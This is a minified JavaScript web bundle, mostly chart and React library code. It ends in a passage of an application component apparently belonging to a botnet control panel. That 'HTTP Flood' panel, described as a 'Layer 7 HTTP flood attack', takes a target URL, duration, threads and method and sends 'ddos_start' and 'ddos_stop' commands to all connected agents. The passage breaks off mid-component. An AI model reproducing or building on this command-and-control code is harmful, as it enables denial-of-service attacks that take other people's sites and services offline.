_=y.current,O=v.current,P=b.current,D=w.current,V="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),M=Mk(["strokeDasharray"],p,typeof f=="string"?f:N1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},W=>{var $=At(_,l,W),U=At(O,c,W),B=At(P,s,W),K=At(D,o,W);n.current&&(y.current=$,v.current=U,b.current=B,w.current=K);var Z;x?W>0?Z={transition:M,strokeDasharray:R}:Z={strokeDasharray:V}:Z={strokeDasharray:R};var le=Ut(t),{radius:de}=le,we=w1(le,p8);return m.createElement("path",ju({},we,{radius:typeof u=="number"?u:void 0,className:k,d:j1(B,K,$,U,u),ref:n,style:b1(b1({},Z),t.style)}))})};function k1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?k1(Object(n),!0).forEach(function(r){y8(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):k1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function y8(e,t,n){return(t=b8(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function b8(e){var t=w8(e,"string");return typeof t=="symbol"?t:t+""}function w8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Nu=Math.PI/180,j8=e=>e*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-Nu*r)*n,y:t+Math.sin(-Nu*r)*n}),$k=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},N8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},k8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=N8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:j8(c),angleInRadian:c}},z8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},S8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},C8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=k8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(i<o||i>l||i===0)return null;var{startAngle:c,endAngle:u}=z8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d<c;)d+=360;f=d>=c&&d<=u}else{for(;d>c;)d-=360;for(;d<u;)d+=360;f=d>=u&&d<=c}return f?z1(z1({},t),{},{radius:i,angle:S8(d,t)}):null};function Bk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{poi
A `,",",`,0,
`,",",`,
`,",",`
`])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(C1||(C1=qi(["L ",",",`
A `,",",`,0,
`,",",`,
`,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(P1||(P1=qi(["L ",","," Z"])),t,n);return f},E8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Gt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Gl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Gl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(E1||(E1=qi(["M ",",",`
a`,",",",0,0,1,",`,0
a`,",",",0,0,1,",`,0
`])),p.x,p.y,s,s,s*2,s,s,-s*2):Fk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(_1||(_1=qi(["M ",",",`
A`,",",",0,0,",",",",",`
A`,",",",0,",",",",",",",`
A`,",",",0,0,",",",",",`
`])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Gl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Gl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),A=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(A<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(A1||(A1=qi(["L",",",`
A`,",",",0,0,",",",",",`
A`,",",",0,",",",",",",",`
A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(A>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(O1||(O1=qi(["L",",","Z"])),t,n);return b},_8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Wk=e=>{var t=gn(e,_8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s<i||u===d)return null;var p=Qe("recharts-sector",f),h=s-i,x=fn(o,h,0,!0),g;return x>0&&Math.abs(u-d)<360?g=E8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Fk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",ch({},Ut(t),{className:p,d:g}))};function A8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(oN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Bk(t)}}var Uk={},Vk={},Hk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Hk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=Vk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?i<s?1:-1:n.toFinite(o);const l=Math.max(Math.ceil((s-i)/(o||1)),0),c=new Array(l);for(let u=0;u<l;u++)c[u]=i,i+=o;return c}e.range=r})(Uk);var O8=Uk.range;const Kk=Wr(O8);function wi(e,t){return e==null||t==null?NaN:e<t?-1:e>t?1:e>=t?0:NaN}function T8(e,t){return e==null||t==null?NaN:t<e?-1:t>e?1:t>=e?0:NaN}function r0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===T8?e:M8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<0?u=f+1:d=f}while(u<d)}return u}function s(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<=0?u=f+1:d=f}while(u<d)}return u}function o(l,c,u=0,d=l.length){const f=i(l,c,u,d-1);return f>u&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function M8(){return 0}function Yk(e){return e===null?NaN:+e}function*L8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const I8=r0(wi),dl=I8.right;r0(Yk).center;class T1 extends Map{constructor(t,n=$8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(M1(this,t))}has(t){return super.has(M1(this,t))}set(t,n){return super.set(D8(this,t),n)}delete(t){return super.delete(R8(this,t))}}function M1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function D8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function R8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function $8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function B8(e=wi){if(e===wi)return qk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function qk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(e<t?-1:e>t?1:0)}const F8=Math.sqrt(50),W8=Math.sqrt(10),U8=Math.sqrt(2);function ku(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=F8?10:s>=W8?5:s>=U8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/u<e&&++l,c/u>t&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*u<e&&++l,c*u>t&&--c),c<l&&.5<=n&&n<2?ku(e,t,n*2):[l,c,u]}function uh(e,t,n){if(t=+t,e=+e,n=+n,!(n>0))return[];if(e===t)return[e];const r=t<e,[i
A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`,
`).concat(j.x,",").concat(j.y),k=Mt(e.id)?Ro("recharts-radial-line-"):e.id;return m.createElement("text",$u({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},P$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},zc=e=>e!=null&&"cx"in e&&ge(e.cx),E$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function _$(e){if(!zc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function s3(e){var t=gn(e,E$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=N$(),p=w$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:zc(n)?x=n:x=e0(n);var v=_$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=tc(tc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=e2(b,p$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=e2(b,h$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=k$(t);var z=Ut(t);if(zc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return C$(t,i,g,z,x);y=P$(x,t.offset,t.position)}else{if(!v)return null;var S=m$({viewBox:v,position:i,offset:t.offset,parentViewBox:zc(r)?void 0:r});y=tc(tc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(fv,$u({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:a$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}s3.displayName="Label";var o3={},l3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(l3);var c3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(c3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=l3,n=c3,r=kd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(o3);var A$=o3.last;const O$=Wr(A$);var T$=["valueAccessor"],M$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Bu(){return Bu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Bu.apply(null,arguments)}function n2(e,t){if(e==null)return{};var n,r,i=L$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function L$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var I$=e=>Array.isArray(e.value)?O$(e.value):e.value,u3=m.createContext(void 0),D$=u3.Provider,d3=m.createContext(void 0),R$=d3.Provider;function $$(){return m.useContext(u3)}function B$(){return m.useContext(d3)}function Sc(e){var{valueAccessor:t=I$}=e,n=n2(e,T$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=n2(n,M$),u=$$(),d=B$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(s3,Bu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:
* @license React
* react-is.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var hv=Symbol.for("react.transitional.element"),xv=Symbol.for("react.portal"),hf=Symbol.for("react.fragment"),xf=Symbol.for("react.strict_mode"),vf=Symbol.for("react.profiler"),gf=Symbol.for("react.consumer"),yf=Symbol.for("react.context"),bf=Symbol.for("react.forward_ref"),wf=Symbol.for("react.suspense"),jf=Symbol.for("react.suspense_list"),Nf=Symbol.for("react.memo"),kf=Symbol.for("react.lazy"),iB=Symbol.for("react.view_transition"),aB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case hv:switch(e=e.type,e){case hf:case vf:case xf:case wf:case jf:case iB:return e;default:switch(e=e&&e.$$typeof,e){case yf:case bf:case kf:case Nf:return e;case gf:return e;default:return t}}case xv:return t}}}Re.ContextConsumer=gf;Re.ContextProvider=yf;Re.Element=hv;Re.ForwardRef=bf;Re.Fragment=hf;Re.Lazy=kf;Re.Memo=Nf;Re.Portal=xv;Re.Profiler=vf;Re.StrictMode=xf;Re.Suspense=wf;Re.SuspenseList=jf;Re.isContextConsumer=function(e){return Ln(e)===gf};Re.isContextProvider=function(e){return Ln(e)===yf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===hv};Re.isForwardRef=function(e){return Ln(e)===bf};Re.isFragment=function(e){return Ln(e)===hf};Re.isLazy=function(e){return Ln(e)===kf};Re.isMemo=function(e){return Ln(e)===Nf};Re.isPortal=function(e){return Ln(e)===xv};Re.isProfiler=function(e){return Ln(e)===vf};Re.isStrictMode=function(e){return Ln(e)===xf};Re.isSuspense=function(e){return Ln(e)===wf};Re.isSuspenseList=function(e){return Ln(e)===jf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===hf||e===vf||e===xf||e===wf||e===jf||typeof e=="object"&&e!==null&&(e.$$typeof===kf||e.$$typeof===Nf||e.$$typeof===yf||e.$$typeof===gf||e.$$typeof===bf||e.$$typeof===aB||e.getModuleId!==void 0)};Re.typeOf=Ln;g3.exports=Re;var sB=g3.exports,s2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",o2=null,Nm=null,y3=e=>{if(e===o2&&Array.isArray(Nm))return Nm;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(sB.isFragment(n)?t=t.concat(y3(n.props.children)):t.push(n))}),Nm=t,o2=e,t};function b3(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>s2(i)):r=[s2(t)],y3(e).forEach(i=>{var s=Do(i,"type.displayName")||Do(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var w3=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,j3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(j3);var oB=j3.isPlainObject;const lB=Wr(oB);var l2,c2,u2,d2,f2;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function p2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?m2(Object(n),!0).forEach(function(r){cB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):m2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function cB(e,t,n){return(t=uB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function uB(e){var t=dB(e,"string");return typeof t=="symbol"?t:t+""}function dB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++)
* @license React
* use-sync-external-store-with-selector.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var jl=m;function VF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var HF=typeof Object.is=="function"?Object.is:VF,KF=jl.useSyncExternalStore,YF=jl.useRef,qF=jl.useEffect,GF=jl.useMemo,XF=jl.useDebugValue;UF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=GF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,HF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=KF(e,s[0],s[1]);return qF(function(){o.hasValue=!0,o.value=l},[l]),XF(l),l};function ZF(e){e()}function QF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){ZF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var z2={notify(){},get:()=>[]};function JF(e,t){let n,r=z2,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=QF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=z2)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var eW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",tW=eW(),nW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",rW=nW(),iW=()=>tW||rW?m.useLayoutEffect:m.useEffect,aW=iW();function S2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function sW(e,t){if(S2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i<n.length;i++)if(!Object.prototype.hasOwnProperty.call(t,n[i])||!S2(e[n[i]],t[n[i]]))return!1;return!0}var Cm=Symbol.for("react-redux-context"),Pm=typeof globalThis<"u"?globalThis:{};function oW(){if(!m.createContext)return{};const e=Pm[Cm]??(Pm[Cm]=new Map);let t=e.get(m.createContext);return t||(t=m.createContext(null),e.set(m.createContext,t)),t}var lW=oW();function cW(e){const{children:t,context:n,serverState:r,store:i}=e,s=m.useMemo(()=>{const c=JF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);aW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||lW;return m.createElement(l.Provider,{value:s},t)}var uW=cW,dW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function M3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(dW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!sW(e[r],t[r]))return!1}else if(!fW(e[r],t[r]))return!1;return!0}function gv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:C3}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:C3}var L3=(e,t,n)=>gz(e,"xAxis",gv(e,t),n),I3=(e,t,n)=>vz(e,"xAxis",gv(e,t),n),D3=(e,t,n)=>gz(e,"yAxis",yv(e,t),n),R3=(e,t,n)=>vz(e,"yAxis",yv(e,t),n),mW=L([De,L3,D3,I3,R3],(e,t,n,r,i)=>xr(e,"xAxis")?hu(t,r,!1):hu(n,i,!1)),pW=(e,t)=>t
bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r
text-zerin-text-muted hover:text-zerin-accent\r
border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r
transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const RU=["GET","POST","HEAD"],$U=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function aS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S);const A=S.filter(_=>_.ok).length;g(A>0),A===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${A}/${w} agents (${w-A} failed)`,A>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_stop"})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S),g(!1);const A=S.filter(_=>_.ok).length;j(`Stop sent to ${A}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border 